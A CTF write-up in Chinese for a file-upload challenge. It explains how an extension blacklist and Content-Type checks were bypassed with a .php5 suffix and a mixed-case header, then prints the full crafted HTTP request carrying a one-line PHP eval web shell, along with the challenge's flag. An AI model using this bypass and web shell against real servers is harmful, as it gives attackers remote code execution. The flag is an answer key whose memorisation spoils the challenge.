原题链接
http://120.24.86.145:8002/web9/
分析
上传题:
一共三个过滤
- 请求头部的 Content-Type
- 文件后缀
- 请求数据的Content-Type
这里是黑名单过滤来判断文件后缀,依次尝试php4,phtml,phtm,phps,php5(包括一些字母改变大小写)
最终发现,php5可以绕过
接下来,请求数据的Content-Type字段改为 image/jpeg
但是一开始没注意到,上面还有一个请求头Content-Type字段,大小写绕过: mULtipart/form-data;
最终修改后的数据包为:
POST /web9/index.php HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://120.24.86.145:8002/web9/index.php
Content-Type: mULtipart/form-data; boundary=---------------------------4827543632391 #修改大小写绕过
Content-Length: 319
Cookie: PHPSESSID=ediihlqlvkd342nl97k5i7s1e4jjfcgh
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------4827543632391
Content-Disposition: form-data; name="file"; filename="vv.php5" #php5文件后缀没有过滤
Content-Type: image/jpeg #文件格式修改为图片形式
<?php
eval(@_POST["vv"]);
?>
-----------------------------4827543632391
Content-Disposition: form-data; name="submit"
Submit
-----------------------------4827543632391--
flag
KEY{bb35dc123820e}
知识点
上传漏洞,过滤